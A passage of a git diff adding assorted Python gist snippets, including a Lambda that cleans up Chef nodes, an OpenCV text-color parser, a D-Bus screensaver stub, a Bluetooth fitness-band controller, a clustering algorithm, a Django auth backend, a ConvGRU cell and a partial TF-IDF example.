+        im = Image.new('RGB', (840, 128), '#f5f5f5')
+        for index, value in enumerate(self.peaks, start=0):
+            column = index * 8 + 2
+            upper_endpoint = 64 - value
+
+            im.paste(self._get_bar_image((4, value * 2), '#424242'),
+                     (column, upper_endpoint))
+
+        return im
+
+    def save(self):
+        """ Save the waveform as an image """
+        png_filename = self.filename.replace(
+            self.filename.split('.')[-1], 'png')
+        with open(png_filename, 'wb') as imfile:
+            self._generate_waveform_image().save(imfile, 'PNG')
+
+
+if __name__ == '__main__':
+    filename = sys.argv[1]
+
+    waveform = Waveform(filename)
+    waveform.save()
diff --git a/hard-gists/abca49bf36433fd1f9d1/._snippet.py b/hard-gists/abca49bf36433fd1f9d1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/abca49bf36433fd1f9d1/._snippet.py differ
diff --git a/hard-gists/abca49bf36433fd1f9d1/snippet.py b/hard-gists/abca49bf36433fd1f9d1/snippet.py
new file mode 100644
index 00000000..55209043
--- /dev/null
+++ b/hard-gists/abca49bf36433fd1f9d1/snippet.py
@@ -0,0 +1,55 @@
+import json
+import chef
+
+# Copy your .chef directory into the root folder of the deployment package:
+# http://docs.aws.amazon.com/lambda/latest/dg/lambda-python-how-to-create-deployment-package.html#deployment-pkg-for-virtualenv
+# See also https://github.com/coderanger/pychef/issues/41
+
+print('Loading function')
+
+def lambda_handler(event, context):
+  print("Event received: " + json.dumps(event))
+  for record in event['Records']:
+    if 'Sns' in record:
+      message = json.loads(record['Sns']['Message'])
+      if message['Event'] == 'autoscaling:EC2_INSTANCE_TERMINATE':
+        instance_id = message['EC2InstanceId']
+        print("instance_id = " + instance_id)
+
+        try:
+          chef_api = chef.autoconfigure()
+        except:
+          raise Exception('Could not configure Chef!')
+
+        try:
+          rows = chef.Search('node', 'ec2_instance_id:' + instance_id)
+        except:
+          raise Exception('Could not search for nodes with ec2_instance_id: ' + instance_id)
+
+        for row in rows:
+          try:
+            n = chef.Node(row['name'])
+          except:
+            raise Exception('Could not fetch node object for ' + row['name'])
+
+          print("node:   " + str(n))
+
+          try:
+            c = chef.Client(row['name'])
+          except:
+            raise Exception('Could not fetch client object for ' + row['name'])
+
+          print("client: " + str(c))
+
+          try:
+            n.delete()
+          except:
+            raise Exception('Could not delete node ' + str(n))
+
+          try:
+            c.delete()
+          except:
+            raise Exception('Could not delete client ' + str(n))
+
+      else:
+        raise Exception('Could not process SNS message')
diff --git a/hard-gists/ac5987161bc27048e1da48e40299468b/._snippet.py b/hard-gists/ac5987161bc27048e1da48e40299468b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ac5987161bc27048e1da48e40299468b/._snippet.py differ
diff --git a/hard-gists/ac5987161bc27048e1da48e40299468b/snippet.py b/hard-gists/ac5987161bc27048e1da48e40299468b/snippet.py
new file mode 100644
index 00000000..a04e0e15
--- /dev/null
+++ b/hard-gists/ac5987161bc27048e1da48e40299468b/snippet.py
@@ -0,0 +1,227 @@
+import cv2
+import json
+import numpy
+import re
+import sys
+
+from operator import itemgetter, attrgetter
+from colormath.color_objects import sRGBColor, LabColor
+from colormath.color_conversions import convert_color
+from colormath.color_diff import delta_e_cie2000
+
+NUMBER_OF_LINES = 68
+DOT_COLOR = "FFFFFF"
+ALL_COLORS = [
+    ("ff0000", "red"),
+    ("00ff00", "green"),
+    ("c7caeb", "violet"),
+    ("01b6af", "lightblue"),
+    ("fe8407", "orange"),
+    ("ffd064", "orange"),
+    ("0493cd", "blue"),
+    ("4BBBFF", "blue"),
+    ("e7236f", "pink"),
+    ("f0fd3b", "yellow"),
+    ("9dc9c8", "lightgreen"),
+]
+
+
+class Color(object):
+
+    def __init__(self, red, green, blue, name=None):
+        self.components = (blue, green, red)
+        self.name = name
+        self._srgb = sRGBColor(red, green, blue, is_upscaled=True)
+
+    @property
+    def hex(self):
+        b, g, r = self. components
+        return "#%.6x" % (r << 16 | g << 8 | b)
+
+    @property
+    def closest(self):
+        if getattr(Color, '_colors', None) is None:
+            Color._colors = map(lambda x: Color.from_hex(*x), ALL_COLORS)
+
+        return min((self.distance(color), color) for color in Color._colors)
+
+    @classmethod
+    def from_hex(self, hexstring, name=None):
+        rgb = [int(hexstring[i * 2:i * 2 + 2], 16) for i in xrange(3)]
+        return Color(*rgb, name=name)
+
+    def distance(self, color):
+        return delta_e_cie2000(convert_color(self._srgb, LabColor),
+                               convert_color(color._srgb, LabColor))
+
+
+class Contour(object):
+
+    def __init__(self, x, y, width, height):
+        self.x = x
+        self.y = y
+        self.width = width
+        self.height = height
+        self.bottom = y + height
+        self.right = x + width
+
+    @property
+    def is_valid(self):
+        return self.width > 13 and self.height > 13
+
+    def is_dot_in(self, image):
+        dot_color = Color.from_hex(DOT_COLOR)
+        is_small = self.width < 25 and self.height < 25
+        is_square = abs(float(self.width) / self.height - 1.0) < 0.2
+
+        return is_small and is_square and \
+            self.median_color(image).distance(dot_color) < 11
+
+    def median_color(self, image):
+        piece = image.cvimage[self.y:self.bottom, self.x:self.right]
+        piece = piece.reshape(numpy.prod(piece.shape[:2]), -1)
+        colors = piece[~numpy.all(piece == 0, axis=1)]
+
+        return Color(*numpy.median(colors, axis=0)[::-1])
+
+    def draw_into(self, image, color, stroke=2, offset=0):
+        cv2.rectangle(image.cvimage, (self.x - offset, self.y - offset),
+                      (self.right + offset, self.bottom + offset),
+                      color.components, stroke)
+
+    def merge(self, contour):
+        right = max(self.right, contour.right)
+        bottom = max(self.bottom, contour.bottom)
+
+        x = min(self.x, contour.x)
+        y = min(self.y, contour.y)
+        return Contour(x, y, right - x, bottom - y)
+
+
+class Image(object):
+
+    def __init__(self, path, size=None):
+        self.cvimage = cv2.imread(path)
+
+        if size is not None:
+            self.cvimage = cv2.resize(self.cvimage, size)
+
+        self.height, self.width = self.cvimage.shape[:2]
+
+    def mask(self, black_and_white_image):
+        self.cvimage = cv2.bitwise_and(self.cvimage, self.cvimage,
+                                       mask=black_and_white_image.cvimage)
+
+    def save(self, path):
+        cv2.imwrite(path, self.cvimage)
+
+
+class BlackAndWhiteImage(Image):
+
+    def __init__(self, path):
+        super(BlackAndWhiteImage, self).__init__(path)
+        gray = cv2.cvtColor(self.cvimage, cv2.COLOR_BGR2GRAY)
+        _, self.cvimage = cv2.threshold(gray, 50, 255, cv2.THRESH_BINARY_INV)
+
+    def contours(self):
+        kernel = cv2.getStructuringElement(cv2.MORPH_CROSS, (2, 2))
+        dilated = cv2.dilate(self.cvimage, kernel, iterations=5)
+
+        _, contours, _ = cv2.findContours(dilated, cv2.RETR_EXTERNAL,
+                                          cv2.CHAIN_APPROX_SIMPLE)
+        return filter(
+            lambda x: x.is_valid,
+            map(lambda c: Contour(*cv2.boundingRect(c)), contours)
+        )
+
+    def contours_by_line(self, lines=NUMBER_OF_LINES):
+        """
+        Arrange contours into groups where elements are "in line" to the
+        first contours (initial "Hello" on the line).
+        """
+        contours = self.contours()
+        contours.sort(key=attrgetter('x'))
+
+        left_contours = sorted(contours[:lines], key=attrgetter('bottom'))
+        left_ys = numpy.array(map(attrgetter('bottom'), left_contours))
+
+        groups = map(lambda x: [x], left_contours)
+        for contour in contours[lines:]:
+            distance_matrix = numpy.abs(left_ys - contour.bottom)
+            nearest = distance_matrix.argmin()
+
+            # Make sure the contour belong here.
+            if groups[nearest][-1].bottom > contour.y:
+                groups[nearest].append(contour)
+
+        return groups
+
+
+class HelloText(object):
+
+    def __init__(self, text):
+        self.lines = text.split("\n")
+
+    def sentences(self, line):
+        groups = re.finditer("[!?.\"] H", self.lines[line])
+        sentences = re.split("[!?.\"] H", self.lines[line])
+
+        groups = [g.group()[0] for g in groups] + [""]
+        for i, sentence in enumerate(sentences):
+            prefix = "H" if i > 0 else ""
+            yield prefix + sentence + groups[i]
+
+
+def cluster_colors(contours, color_image):
+    last_contour = contours[0]
+    last_color = contours[0].median_color(color_image)
+    for contour in contours[1:]:
+        median_color = contour.median_color(color_image)
+        color_is_close = last_color.distance(median_color) < 18
+        if not contour.is_dot_in(color_image) and color_is_close:
+            last_contour = last_contour.merge(contour)
+        else:
+            yield last_contour
+            last_contour = contour
+
+        last_color = median_color
+
+    yield last_contour
+
+
+def main():
+    if len(sys.argv) < 5:
+        print "Usage: %s <color file> <bw file> <text file> <json file>" % \
+            sys.argv[0]
+
+        sys.exit(1)
+
+    text = HelloText(open(sys.argv[3]).read())
+    bw_image = BlackAndWhiteImage(sys.argv[2])
+    color_image = Image(sys.argv[1], size=(bw_image.width, bw_image.height))
+
+    # Black-out the areas that are not letters
+    color_image.mask(bw_image)
+
+    lines = []
+    for i, line in enumerate(bw_image.contours_by_line()):
+        sentences = text.sentences(i)
+        clusters = filter(lambda x: x.width > 200,
+                          cluster_colors(line, color_image))
+
+        line = []
+        for contour in clusters:
+            median_color = contour.median_color(color_image)
+            distance, color = median_color.closest
+            line.append({
+                "sentence": sentences.next(),
+                "color": color.name
+            })
+
+        lines.append(line)
+
+    open(sys.argv[4], "w").write(json.dumps(lines))
+
+
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/ac5f50d1409954c38681353fb6c6921b/._snippet.py b/hard-gists/ac5f50d1409954c38681353fb6c6921b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ac5f50d1409954c38681353fb6c6921b/._snippet.py differ
diff --git a/hard-gists/ac5f50d1409954c38681353fb6c6921b/snippet.py b/hard-gists/ac5f50d1409954c38681353fb6c6921b/snippet.py
new file mode 100644
index 00000000..c08a02b7
--- /dev/null
+++ b/hard-gists/ac5f50d1409954c38681353fb6c6921b/snippet.py
@@ -0,0 +1,27 @@
+#!/usr/bin/env python
+import dbus
+import dbus.service
+
+class FakeScreenSaver(dbus.service.Object):
+    def __init__(self):
+        self.session_bus = dbus.SessionBus()
+        name = dbus.service.BusName('org.freedesktop.ScreenSaver', bus=self.session_bus)
+        dbus.service.Object.__init__(self, name, '/org/freedesktop/ScreenSaver')
+
+    @dbus.service.method('org.freedesktop.ScreenSaver', in_signature='ss', out_signature='u')
+    def Inhibit(self, application_name, reason_for_inhibit):
+        print('Inhibit request by "' + application_name + '" because of "' + reason_for_inhibit + '"')
+        return 1337
+    
+    @dbus.service.method('org.freedesktop.ScreenSaver', in_signature='u', out_signature='')
+    def UnInhibit(self, cookie):
+        print('UnInhibit request with cookie: ' + str(cookie))
+
+if __name__ == '__main__':
+    # using glib
+    import dbus.mainloop.glib
+    dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
+    import gobject
+    loop = gobject.MainLoop()
+    fake = FakeScreenSaver()
+    loop.run()
\ No newline at end of file
diff --git a/hard-gists/ac8f22326f095ed2690e/._snippet.py b/hard-gists/ac8f22326f095ed2690e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ac8f22326f095ed2690e/._snippet.py differ
diff --git a/hard-gists/ac8f22326f095ed2690e/snippet.py b/hard-gists/ac8f22326f095ed2690e/snippet.py
new file mode 100644
index 00000000..ee569973
--- /dev/null
+++ b/hard-gists/ac8f22326f095ed2690e/snippet.py
@@ -0,0 +1,17 @@
+from Foundation import NSBundle
+
+# Load the framework bundle by its identifier
+Metadata_bundle = NSBundle.bundleWithIdentifier_("com.apple.Metadata")
+
+# Can also use: bundleWithPath or bundleWithURL
+
+# Load the variable aka constant from the framework into globals
+# This says to load whatever "kMDSPreferencesName" is and the type should be "an NSObject" aka "figure it out"
+# which ends up giving us a NSString which pyObjC bridges to a python string nicely
+objc.loadBundleVariables(Metadata_bundle, globals(), [('kMDSPreferencesName', '@')])
+
+# >>> kMDSPreferencesName
+# u'com.apple.SpotlightServer'
+
+# OMG wasn't that soooo much easier than using ctypes?
+# https://gist.github.com/pudquick/8f65bb9b306f91eafdcc
\ No newline at end of file
diff --git a/hard-gists/ac9170132e5abfc5381353428e70f1d9/._snippet.py b/hard-gists/ac9170132e5abfc5381353428e70f1d9/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ac9170132e5abfc5381353428e70f1d9/._snippet.py differ
diff --git a/hard-gists/ac9170132e5abfc5381353428e70f1d9/snippet.py b/hard-gists/ac9170132e5abfc5381353428e70f1d9/snippet.py
new file mode 100644
index 00000000..2122fa80
--- /dev/null
+++ b/hard-gists/ac9170132e5abfc5381353428e70f1d9/snippet.py
@@ -0,0 +1,233 @@
+#!/usr/bin/env python
+
+#Connecting to: 08:7C:BE:8F:3C:FB, address type: public
+#Service <uuid=Generic Attribute handleStart=12 handleEnd=15> :
+#    Characteristic <Service Changed>, hnd=0xd, supports READ INDICATE 
+#    -> '\x01\x00\xff\xff'
+#Service <uuid=Generic Access handleStart=1 handleEnd=11> :
+#    Characteristic <Device Name>, hnd=0x2, supports READ WRITE 
+#    -> 'Quintic BLE'
+#    Characteristic <Appearance>, hnd=0x4, supports READ 
+#    -> '\x00\x00'
+#    Characteristic <Peripheral Privacy Flag>, hnd=0x6, supports READ WRITE 
+#    -> '\x00'
+#    Characteristic <Peripheral Preferred Connection Parameters>, hnd=0x8, supports READ 
+#    -> 'd\x00\xc8\x00\x00\x00\xd0\x07'
+#    Characteristic <Reconnection Address>, hnd=0xa, supports READ WRITE NO RESPONSE WRITE 
+#    -> ''
+#Service <uuid=fee9 handleStart=23 handleEnd=29> :
+#    Characteristic <d44bc439-abfd-45a2-b575-925416129600>, hnd=0x18, supports WRITE NO RESPONSE WRITE 
+#    Characteristic <d44bc439-abfd-45a2-b575-925416129601>, hnd=0x1b, supports NOTIFY 
+#Service <uuid=fee8 handleStart=16 handleEnd=22> :
+#    Characteristic <003784cf-f7e3-55b4-6c4c-9fd140100a16>, hnd=0x11, supports NOTIFY 
+#    Characteristic <013784cf-f7e3-55b4-6c4c-9fd140100a16>, hnd=0x15, supports WRITE NO RESPONSE 
+
+
+from bluepy.bluepy import btle
+
+import time,struct,datetime
+
+class Quintic(btle.DefaultDelegate):
+    def __init__(self, deviceAddress):
+        btle.DefaultDelegate.__init__(self)
+
+        self.peripheral = btle.Peripheral(deviceAddress, btle.ADDR_TYPE_PUBLIC)
+        self.peripheral.setDelegate(self)
+
+        #self.dumpCharacteristics()
+
+        print 'Connected'
+
+        self.peripheral.writeCharacteristic(0x1d, struct.pack('<BB', 0x01, 0x00), withResponse=True)
+
+        print 'Notification Enabled'
+
+        self.set_date()
+
+    def cmd(self, data):
+        self.peripheral.writeCharacteristic(0x19, data, withResponse=False)
+        print '-> Command:', data.encode('hex')
+        self.waitForNotifications(5.0)
+
+    def test_cmd(self, a, b, c):
+        self.cmd(struct.pack('<BBBBBBBBBBBBBBBBBBBB', a, b, c, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0))
+
+
+    def set_date(self, antilost=False, metric=True):
+        dt = datetime.datetime.now()
+        self.cmd(struct.pack('<BBBBBBBBBBBBBBBBBBBB',  0x5a, 0x01, 0x00,
+                              dt.year - 2000, # year - 2000
+                              dt.month, # month (1 = jan)
+                              dt.day, # day of month
+                              dt.hour, # hours
+                              dt.minute, # minutes
+                              dt.second, # seconds
+                              0x00, 0x64, # target steps / 100, hi then lo
+                              0x00, # wear position
+                              0x01, # motion mode
+                              0x00, # sex
+                              0x00, 0x02, # fixed
+                              0xa4, # "i"
+                              0x46, # weight
+                              0xb7, # height
+                              0x80 | (0x40 if metric else 0x00) | (0x20 if antilost else 0x00)
+                                    # options:
+                                    # 0x01 - always off?
+                                    # 0x02 - always off?
+                                    # 0x04 - always off?
+                                    # 0x08 - always off?
+                                    # 0x10 - always off?
+                                    # 0x20 - anti-lost
+                                    # 0x40 - 1: metric, 0: imperial
+                                    # 0x80 - always on?
+                             ))
+
+    def vibrate(self, icon=0, msg=''):
+        # icon: 0 = none, 1 = ringing phone, 2 = email, 3 = penguin, 4 = phone, 5 = phone
+        self.cmd(struct.pack('<BBBBB15s',  0x5a, 0x15, 0x00, icon, min(len(msg),15), msg))
+
+    def name_alert(self, msg=''):
+        # not supported on W007C
+        self.cmd(struct.pack('<BBBB16s',  0x5a, 0x15, 0x00, 0x83, msg))
+
+    def button_mode(self, on=True):
+        self.cmd(struct.pack('<BBBBBBBBBBBBBBBBBBBB', 0x5a, 0x0c, 0x00, 0x04, 0x01 if on else 0x00, 0x00, 0x1e, 0x00, 
+                             0,0,0,0,0,0,0,0,0,0,0,0))
+
+    def query_firmware(self):
+        self.cmd(struct.pack('<BBBBBBBBBBBBBBBBBBBB', 0x5a, 0x10, 0x00, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0))
+
+
+    def query_minutes_log(self):
+        self.cmd(struct.pack('<BBBBBBBBBBBBBBBBBBBB', 0x5a, 0x03, 0x00, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0))
+
+    def query_days_log(self):
+        self.cmd(struct.pack('<BBBBBBBBBBBBBBBBBBBB', 0x5a, 0x07, 0x00, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0))
+
+    def set_reminder(self, hours, minutes, delete=False):
+        self.cmd(struct.pack('<BBBBBBBBBBBBBBBBBBBB', 0x5a, 0x14, 0x00, 
+                    0,
+                    3, # 3 for wakeup
+                    0 if delete else 1,
+                    hours,
+                    minutes,
+                    0 if delete else 1,
+                    0 if delete else 1,
+                    0 if delete else 1,
+                    0 if delete else 1,
+                    0 if delete else 1,
+                    0 if delete else 1,
+                    0 if delete else 1,
+                    0,
+                    0,
+                    0,
+                    0,
+                    0
+                  ))
+
+
+    def handleNotification(self, cHandle, data):
+      if cHandle == 0x1c:
+        if ord(data[0]) == 0x5b:
+            if ord(data[1]) == 0x01:
+                print '<- Result:', data.encode('hex')
+                self.device_info(data)
+            elif ord(data[1]) == 0x03 or ord(data[1]) == 0x07:
+                print '<- Result:', data.encode('hex')
+                if ord(data[-1]):
+                    self.waitForNotifications(15.0)
+                else:
+                    print '    No Log?'
+            elif ord(data[1]) == 0x10:
+                print '<- Result:', data.encode('hex')
+                self.device_info_other(data)
+            elif data[6:17] == 'not support':
+                print '<- Command not supported:', hex(cHandle), data.encode('hex')
+            elif ord(data[1]) == 0x0c:
+                print '<- Result:', data.encode('hex')
+                print '    Button Mode!'
+            elif ord(data[1]) == 0x14:
+                print '<- Result:', data.encode('hex')
+                print ' Reminder Set?'
+            else:
+                print '<- Unknown:', data.encode('hex'), data
+        elif ord(data[0]) == 0x5a:
+            print '<- Data:', data.encode('hex')
+            if ord(data[1]) == 0x05:
+                if len(data) == 5:
+                    print '    Log ACK?'
+                elif ord(data[2]) == 0x01:
+                    self.log = data[3:]
+                    self.logoffs = 0x01
+                    self.waitForNotifications(5.0)
+                elif ord(data[2]) == self.logoffs + 1:
+                    self.log += data[3:]
+                    self.logoffs += 1
+                    self.waitForNotifications(5.0)
+                elif ord(data[2]) >= 0xfe:
+                    self.log += data[3:]
+                    self.logoffs = 0xff
+                    self.handle_log(self.log)
+                    self.test_cmd(0x5b, 0x05, 0x00)
+                    if ord(data[2]) == 0xfe:
+                        self.waitForNotifications(5.0)
+                else:
+                    print '    Badlog!'
+        else:
+            print '<- Unexpected:', data.encode('hex')
+      else:
+        print '<- Message from other handle', hex(cHandle)
+
+    def device_info(self, data):
+        print '    Model:', data[-5:], 'MAC:', data[5:11].encode('hex'), 'Firmware:', ord(data[-6]) | (ord(data[-7])<<8), 'Protocol:', ord(data[12]) | (ord(data[11])<<8)
+
+    def device_info_other(self, data):
+        print '    Model:', data[-5:], 'MAC:', data[7:13].encode('hex'), 'Firmware:', ord(data[4]) | (ord(data[3])<<8), 'Protocol:', ord(data[14]) | (ord(data[13])<<8)
+
+    def handle_log(self, log):
+        (length, b, c, d, e, logtype, year, month, day, first, last, v, w, x, y, z) = struct.unpack('>HBBBBBBBBBBBBBBB', log[:17])
+        date = datetime.date(year=year+2000, month=month, day=day)
+        print '    Log Type:', logtype
+        print '    Date:', date
+        print '    First?:', first, 'Last?:', last
+        data = struct.unpack('>'+('H'*(length/2)), log[17:])
+        print '    Count:', sum(data[first:last]), data[first:last]
+        print b, c, d, e
+        print v, w, x, y, z 
+        print sum(data), data
+
+    def waitForNotifications(self, time):
+        self.peripheral.waitForNotifications(time)
+
+
+    def disconnect(self):
+        self.peripheral.disconnect()
+
+
+if __name__ == '__main__':
+
+    from itertools import product
+
+    # Connect by address. Use "sudo hcitool lescan" to find address.
+    q = Quintic('08:7C:BE:8F:3C:FB')
+
+    q.query_minutes_log()
+    q.query_days_log()
+
+#    for b in [0x02, 0x05, 0x06, 0x0b, 0x0e, 0x0f]:
+#        for a in [0x5a, 0x5b]:
+#            q.test_cmd(a, b, 0)
+#            q.waitForNotifications(5.0)
+
+#    dt = datetime.datetime.now()
+#    for i in range(5, 100, 5):
+#        q.set_reminder(dt.hour, dt.minute+i)
+
+    while True:
+        q.waitForNotifications(5.0)
+
+
+    
+
+    # Must manually disconnect or you won't be able to reconnect.
+    q.disconnect()
\ No newline at end of file
diff --git a/hard-gists/ac9be1abd2bebe9ad8da5c645a1d0b5e/._snippet.py b/hard-gists/ac9be1abd2bebe9ad8da5c645a1d0b5e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ac9be1abd2bebe9ad8da5c645a1d0b5e/._snippet.py differ
diff --git a/hard-gists/ac9be1abd2bebe9ad8da5c645a1d0b5e/snippet.py b/hard-gists/ac9be1abd2bebe9ad8da5c645a1d0b5e/snippet.py
new file mode 100644
index 00000000..6d2091f5
--- /dev/null
+++ b/hard-gists/ac9be1abd2bebe9ad8da5c645a1d0b5e/snippet.py
@@ -0,0 +1,114 @@
+import numpy as np
+from numpy.linalg import norm, solve
+from scipy.spatial.distance import cdist
+from sklearn.neighbors import kneighbors_graph
+
+
+def phi(l, mu):
+    return (mu * (np.sqrt(l) - 1)**2)
+
+
+def eye_vector(length, position):
+    v = np.zeros((length, ))
+    v[position] = 1
+    return v
+
+
+def computeA(W, L):
+    n = W.shape[0]
+    A = np.zeros((n, n))
+    for i in range(n):
+        for j in range(n):
+            e = eye_vector(n, i) - eye_vector(n, j)
+            A += W[i, j] * L[i, j] * np.dot(np.atleast_2d(e).T, np.atleast_2d(e))
+    return A
+
+
+def l2norm(x):
+    return np.sqrt(np.sum(x**2))
+
+
+def objective(X, U, W, L, landa, mu):
+    n = X.shape[0]
+
+    # First term
+    diff = X - U
+    f = 0.5 * np.sum([l2norm(x)**2 for x in diff])
+
+    # Second term
+    s = 0.0
+    for i in range(n):
+        for j in range(n):
+            s += W[i, j] * (L[i, j] * l2norm(U[i] - U[j])**2 + phi(L[i, j], mu))
+    s *= landa/2
+    return f + s
+
+
+def update_L(U, mu):
+    n = U.shape[0]
+    L = np.zeros((n, n))
+    for i in range(n):
+        for j in range(n):
+            L[i, j] = (mu / (mu + l2norm(U[i] - U[j])**2))
+    return L
+
+
+def RobustContinuousClustering(X, W, offset_mu=100, delta=0.05, eps=1e-4,
+                               max_iter=100):
+    n_samples = X.shape[0]
+    d = X.shape[1]
+    chi = norm(X, ord=2)
+
+    U = X.copy()
+
+    L = np.ones((n_samples, n_samples))
+    dists = cdist(X, X, metric='euclidean')
+    lower_bound_mu = np.max(dists**2)
+    mu = offset_mu + lower_bound_mu
+    A = computeA(W, L)
+    landa = chi / norm(A, ord=2)
+
+    conv_diff = 100
+    old_C = 100
+    i = 0
+    while conv_diff > eps and i < max_iter:
+        # Update L
+        L = update_L(U, mu)
+        # Update A
+        A = computeA(W, L)
+        M = np.eye(n_samples) + landa * A
+        # Update U
+        # U = np.dot(X, inv(M))
+        U = solve(M, X)
+        # Evaluate objective
+        C = objective(X, U, W, L, landa, mu)
+        print(C)
+        conv_diff = np.abs(C - old_C)
+        # Update landa and mu
+        if i % 4 == 0:
+            landa = chi / norm(A, ord=2)
+            mu = max(mu / 2, delta / 2)
+
+        # Keep iterating
+        old_c = C
+        i += 1
+    return U
+
+
+if __name__ == '__main__':
+    from sklearn.datasets import load_iris
+    iris = load_iris()
+    X = iris.data[:, np.array([2, 3])]
+    y = iris.target
+    W = kneighbors_graph(X, n_neighbors=10)
+    delta = 0.05
+    U = RobustContinuousClustering(X, W, delta=delta)
+
+    d = cdist(U, U)
+
+    import matplotlib.pyplot as plt
+    plt.scatter(X[:, 0], X[:, 1], c=y)
+    plt.show()
+
+    plt.scatter(U[:, 0], U[:, 1], c=y)
+    plt.show()
diff --git a/hard-gists/acaaf10e9649bfd1863b/._snippet.py b/hard-gists/acaaf10e9649bfd1863b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/acaaf10e9649bfd1863b/._snippet.py differ
diff --git a/hard-gists/acaaf10e9649bfd1863b/snippet.py b/hard-gists/acaaf10e9649bfd1863b/snippet.py
new file mode 100644
index 00000000..19eb434f
--- /dev/null
+++ b/hard-gists/acaaf10e9649bfd1863b/snippet.py
@@ -0,0 +1,18 @@
+# -*- coding: utf-8 -*-
+from django.contrib.auth import backends, get_user_model
+from django.db.models import Q
+
+
+class EmailOrUsernameModelBackend(backends.ModelBackend):
+    def authenticate(self, username=None, password=None, **kwargs):
+        UserModel = get_user_model()
+
+        try:
+            user = UserModel.objects.get(Q(username__iexact=username) | Q(email__iexact=username))
+
+            if user.check_password(password):
+                return user
+        except UserModel.DoesNotExist:
+            # Run the default password hasher once to reduce the timing
+            # difference between an existing and a non-existing user (#20760).
+            UserModel().set_password(password)
\ No newline at end of file
diff --git a/hard-gists/acbd669af86ecb8f988325084ba7a749/._snippet.py b/hard-gists/acbd669af86ecb8f988325084ba7a749/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/acbd669af86ecb8f988325084ba7a749/._snippet.py differ
diff --git a/hard-gists/acbd669af86ecb8f988325084ba7a749/snippet.py b/hard-gists/acbd669af86ecb8f988325084ba7a749/snippet.py
new file mode 100644
index 00000000..092868b5
--- /dev/null
+++ b/hard-gists/acbd669af86ecb8f988325084ba7a749/snippet.py
@@ -0,0 +1,49 @@
+# Inspired by Alfredo Canziani (http://tinyurl.com/CortexNet/)
+
+import torch
+import torch.nn as nn
+import torch.nn.functional as f
+import torch.nn.init as init
+from torch.autograd import Variable
+
+class ConvGRUCell(nn.Module):
+    """
+    Generate a convolutional GRU cell
+    """
+
+    def __init__(self, input_size, hidden_size, kernel_size):
+        super().__init__()
+        padding = kernel_size // 2
+        self.input_size = input_size
+        self.hidden_size = hidden_size
+        self.reset_gate = nn.Conv2d(input_size + hidden_size, hidden_size, kernel_size, padding=padding)
+        self.update_gate = nn.Conv2d(input_size + hidden_size, hidden_size, kernel_size, padding=padding)
+        self.out_gate = nn.Conv2d(input_size + hidden_size, hidden_size, kernel_size, padding=padding)
+
+        init.orthogonal(self.reset_gate.weight)
+        init.orthogonal(self.update_gate.weight)
+        init.orthogonal(self.out_gate.weight)
+        init.constant(self.reset_gate.bias, 0.)
+        init.constant(self.update_gate.bias, 0.)
+        init.constant(self.out_gate.bias, 0.)
+
+
+    def forward(self, input_, prev_state):
+
+        # get batch and spatial sizes
+        batch_size = input_.data.size()[0]
+        spatial_size = input_.data.size()[2:]
+
+        # generate empty prev_state, if None is provided
+        if prev_state is None:
+            state_size = [batch_size, self.hidden_size] + list(spatial_size)
+            prev_state = Variable(torch.zeros(state_size)).cuda()
+
+        # data size is [batch, channel, height, width]
+        stacked_inputs = torch.cat([input_, prev_state], dim=1)
+        update = f.sigmoid(self.update_gate(stacked_inputs))
+        reset = f.sigmoid(self.reset_gate(stacked_inputs))
+        out_inputs = f.tanh(self.out_gate(torch.cat([input_, prev_state * reset], dim=1)))
+        new_state = prev_state * (1 - update) + out_inputs * update
+
+        return new_state
\ No newline at end of file
diff --git a/hard-gists/ad16c57cf48eb95a4b63/._snippet.py b/hard-gists/ad16c57cf48eb95a4b63/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ad16c57cf48eb95a4b63/._snippet.py differ
diff --git a/hard-gists/ad16c57cf48eb95a4b63/snippet.py b/hard-gists/ad16c57cf48eb95a4b63/snippet.py
new file mode 100644
index 00000000..12c9b2e7
--- /dev/null
+++ b/hard-gists/ad16c57cf48eb95a4b63/snippet.py
@@ -0,0 +1,51 @@
+import os
+import math
+import re
+import pandas as pd
+from collections import Counter
+from sklearn.datasets import fetch_20newsgroups
+
+#get a subset of the dataset
+
+categories = [
+        'alt.atheism',
+        'talk.religion.misc',
+        'comp.graphics',
+        'sci.space',
+    ]
+docs_data = fetch_20newsgroups(subset='train', categories=categories,
+                                shuffle=True, random_state=42,
+                                remove=('headers', 'footers', 'quotes'))
+                                
+#build a pandas dataframe using the filename and data of each post
+docs =  pd.DataFrame({
+            'filename' : docs_data.filenames, 
+            'data': docs_data.data
+})
+#grab the corpus size(we'll use this later for IDF)
+corpus_size = len(docs)
+
+#no let's do some basic cleaning up of the text, make everything lower case and strip out all non-letters
+docs['words'] = docs.data.apply(lambda doc: re.sub("[\W\d]", " ", doc.lower().strip()).split())
+
+#let's calculate the word frequencies for each document (Bag of words)
+docs['frequencies'] = docs.words.apply(lambda words: Counter(words))
+
+#cool, now we can calculate TF, the log+1 of the frequency of each word
+docs['log_frequencies'] = docs.frequencies.apply(lambda d: dict([(k,math.log(v) + 1) for k, v in d.iteritems()]))
+
+#now let's build up a lookup list of document frequencies
+#first we build a vocabulary for our corpus(set of unique words)
+corpus_vocab = set([word for words in docs.words for word in words])
+
+#now use the vocabulary to find the document frequency for each word
+df = lambda word: len(docs[docs.words.apply(lambda w: word in w)])
+corpus_vocab_dfs = dict([(word,math.log(corpus_size / df(word))) for word in corpus_vocab])
+
+#phew! no let's put it all together. let's calculate tf*idf for each term
